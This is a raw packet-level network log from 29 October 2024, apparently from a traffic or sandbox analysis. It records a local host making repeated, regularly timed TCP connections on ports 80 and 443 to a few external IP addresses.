Oct 29, 2024 13:10:23.791018009 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:23.791049957 CET	443	60716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:23.793823957 CET	60716	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:24.103442907 CET	60717	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:24.108915091 CET	80	60717	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:24.109065056 CET	60717	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:24.109265089 CET	60717	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:24.114564896 CET	80	60717	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:25.047210932 CET	80	60717	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:25.047245026 CET	80	60717	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:25.047287941 CET	60717	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:25.047332048 CET	60717	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:25.047965050 CET	60717	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:25.048022032 CET	60717	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:25.425420046 CET	60718	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:25.430805922 CET	80	60718	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:25.430886030 CET	60718	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:25.431072950 CET	60718	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:25.436374903 CET	80	60718	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:26.364764929 CET	80	60718	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:26.364810944 CET	80	60718	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:26.371061087 CET	60718	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:26.419579983 CET	60718	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:26.419579983 CET	60718	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:26.841090918 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:26.846380949 CET	80	60719	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:26.846451044 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:26.847755909 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:26.853089094 CET	80	60719	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:27.832818985 CET	80	60719	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:27.832858086 CET	80	60719	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:27.832915068 CET	80	60719	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:27.832942009 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:27.832942009 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:27.833010912 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:27.833838940 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:27.833838940 CET	60719	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:28.423357964 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:28.428822994 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:28.602705956 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:28.602866888 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:28.629080057 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:28.629098892 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:28.629218102 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:28.631345987 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:28.631357908 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:29.339468002 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:29.343395948 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:29.389962912 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:29.389970064 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:29.390307903 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:29.390312910 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:29.566011906 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:29.566323996 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:29.566390991 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:29.572304964 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:29.572319031 CET	443	60720	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:29.572331905 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:29.572377920 CET	60720	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:29.907169104 CET	60721	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:29.912528038 CET	80	60721	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:29.912643909 CET	60721	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:29.912938118 CET	60721	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:29.918824911 CET	80	60721	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:30.832714081 CET	80	60721	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:30.832797050 CET	60721	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:30.832822084 CET	80	60721	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:30.832880974 CET	60721	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:30.833328962 CET	60721	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:30.833445072 CET	60721	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:31.108767033 CET	60722	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:31.114296913 CET	80	60722	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:31.114372969 CET	60722	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:31.114658117 CET	60722	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:31.119927883 CET	80	60722	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:32.027282953 CET	80	60722	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:32.027335882 CET	80	60722	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:32.027683020 CET	60722	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:32.028068066 CET	60722	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:32.028156996 CET	60722	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:32.237081051 CET	60723	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:32.242563009 CET	80	60723	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:32.242682934 CET	60723	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:32.242907047 CET	60723	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:32.249380112 CET	80	60723	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:33.174428940 CET	80	60723	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:33.174493074 CET	80	60723	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:33.174504995 CET	60723	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:33.174535036 CET	60723	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:33.175043106 CET	60723	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:33.175136089 CET	60723	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:33.751893044 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:33.757311106 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:33.931695938 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:33.941049099 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.001058102 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.001089096 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.002482891 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.005043983 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.005059004 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.731230974 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.731340885 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.732131958 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.732131958 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.732136965 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.732148886 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.913297892 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.913346052 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.913436890 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.913471937 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.913482904 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.913512945 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.913541079 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.913544893 CET	443	60724	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:34.913578033 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:34.913590908 CET	60724	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:35.171158075 CET	60725	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:35.176527023 CET	80	60725	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:35.176623106 CET	60725	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:35.176805019 CET	60725	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:35.182450056 CET	80	60725	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:36.108943939 CET	80	60725	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:36.108989954 CET	80	60725	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:36.109030962 CET	60725	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:36.109061956 CET	60725	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:36.109435081 CET	60725	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:36.109539986 CET	60725	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:36.299355984 CET	60726	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:36.304816008 CET	80	60726	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:36.304920912 CET	60726	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:36.305176973 CET	60726	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:36.310517073 CET	80	60726	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:37.225480080 CET	80	60726	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:37.225565910 CET	60726	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:37.225604057 CET	80	60726	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:37.225656986 CET	60726	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:37.227539062 CET	60726	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:37.227565050 CET	60726	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:37.744285107 CET	60727	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:37.749813080 CET	80	60727	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:37.749949932 CET	60727	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:37.750168085 CET	60727	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:37.755775928 CET	80	60727	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:38.664053917 CET	80	60727	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:38.664098024 CET	80	60727	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:38.664334059 CET	60727	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:38.664774895 CET	60727	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:38.664834023 CET	60727	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:39.296521902 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:39.358474016 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:39.532135963 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:39.532252073 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:39.536777020 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:39.536818981 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:39.536883116 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:39.537262917 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:39.537275076 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:40.244735003 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:40.244851112 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.245428085 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.245434046 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:40.245759010 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.245762110 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:40.424457073 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:40.424504042 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:40.424598932 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.424598932 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.424674988 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.424686909 CET	443	60728	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:40.424721956 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.424761057 CET	60728	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:40.754528046 CET	60729	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:40.759846926 CET	80	60729	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:40.759999037 CET	60729	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:40.760385036 CET	60729	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:40.765661001 CET	80	60729	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:41.682709932 CET	80	60729	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:41.682733059 CET	80	60729	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:41.682801008 CET	60729	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:41.682822943 CET	60729	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:41.683739901 CET	60729	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:41.683775902 CET	60729	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:42.021545887 CET	60730	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:42.027045012 CET	80	60730	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:42.029151917 CET	60730	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:42.043884039 CET	60730	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:42.049377918 CET	80	60730	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:42.952661037 CET	80	60730	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:42.952675104 CET	80	60730	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:42.952905893 CET	60730	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:42.953651905 CET	60730	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:42.953651905 CET	60730	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:43.313113928 CET	60731	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:43.319701910 CET	80	60731	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:43.319791079 CET	60731	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:43.320086956 CET	60731	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:43.325946093 CET	80	60731	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:44.287118912 CET	80	60731	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:44.287236929 CET	60731	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:44.287287951 CET	80	60731	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:44.287374020 CET	60731	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:44.287807941 CET	60731	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:44.287807941 CET	60731	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:44.925714970 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:44.931163073 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:45.159590960 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:45.159682035 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:45.165460110 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:45.165508032 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:45.165584087 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:45.166073084 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:45.166085005 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:45.917584896 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:45.917798996 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:45.918401957 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:45.918431044 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:45.918772936 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:45.918786049 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:46.267769098 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:46.267826080 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:46.267991066 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:46.268028021 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:46.268028021 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:46.268049002 CET	443	60732	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:46.271472931 CET	60732	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:46.547343016 CET	60733	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:46.554150105 CET	80	60733	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:46.555244923 CET	60733	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:46.555582047 CET	60733	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:46.561018944 CET	80	60733	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:47.505816936 CET	80	60733	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:47.505909920 CET	60733	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:47.506161928 CET	80	60733	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:47.506225109 CET	60733	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:47.506392956 CET	60733	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:47.506392956 CET	60733	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:47.787610054 CET	60734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:47.795747042 CET	80	60734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:47.795826912 CET	60734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:47.796137094 CET	60734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:47.801981926 CET	80	60734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:48.744771004 CET	80	60734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:48.744801044 CET	80	60734	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:48.744913101 CET	60734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:48.745021105 CET	60734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:48.745301962 CET	60734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:48.745389938 CET	60734	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:49.019195080 CET	60735	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:49.024879932 CET	80	60735	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:49.024957895 CET	60735	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:49.031251907 CET	60735	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:49.036887884 CET	80	60735	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:49.962517023 CET	80	60735	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:49.962536097 CET	80	60735	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:49.962873936 CET	60735	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:49.962960005 CET	60735	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:49.962960005 CET	60735	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:50.441076994 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:50.446585894 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:50.622247934 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:50.622359037 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:50.638284922 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:50.638334036 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:50.638439894 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:50.638899088 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:50.638917923 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:51.347470045 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:51.347635984 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.348143101 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.348161936 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:51.348396063 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.348403931 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:51.528613091 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:51.528673887 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:51.528683901 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.528722048 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.528846979 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.528876066 CET	443	60736	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:51.528918028 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.528918028 CET	60736	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:51.829204082 CET	60737	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:51.834968090 CET	80	60737	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:51.835164070 CET	60737	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:51.835380077 CET	60737	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:51.840922117 CET	80	60737	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:52.786037922 CET	80	60737	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:52.786211014 CET	80	60737	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:52.786467075 CET	60737	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:52.786680937 CET	60737	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:52.786680937 CET	60737	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:53.123615026 CET	60738	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:53.243007898 CET	80	60738	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:53.243113995 CET	60738	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:53.243544102 CET	60738	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:53.249140978 CET	80	60738	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:54.177103996 CET	80	60738	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:54.177453041 CET	80	60738	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:54.177625895 CET	60738	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:54.178106070 CET	60738	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:54.178106070 CET	60738	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:54.183933020 CET	80	60738	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:54.187387943 CET	60738	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:54.379688025 CET	60739	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:54.385675907 CET	80	60739	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:54.385926962 CET	60739	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:54.387111902 CET	60739	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:54.392503977 CET	80	60739	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:55.308903933 CET	80	60739	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:55.308933973 CET	80	60739	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:55.308968067 CET	60739	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:55.309015989 CET	60739	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:55.332596064 CET	60739	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:55.332633972 CET	60739	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:55.971165895 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:55.976639986 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:56.165102005 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:56.165719986 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:56.172122002 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:56.172168016 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:56.172816992 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:56.173223972 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:56.173248053 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:56.881666899 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:56.881726980 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:56.882445097 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:56.882458925 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:56.883186102 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:56.883197069 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:57.062478065 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:57.062536001 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:57.062547922 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:57.062592983 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:57.062756062 CET	60740	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:10:57.062774897 CET	443	60740	51.81.194.202	192.168.2.5
Oct 29, 2024 13:10:57.415508032 CET	60741	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:57.420993090 CET	80	60741	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:57.421073914 CET	60741	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:57.421252012 CET	60741	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:57.426650047 CET	80	60741	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:58.334898949 CET	80	60741	64.233.166.82	192.168.2.5
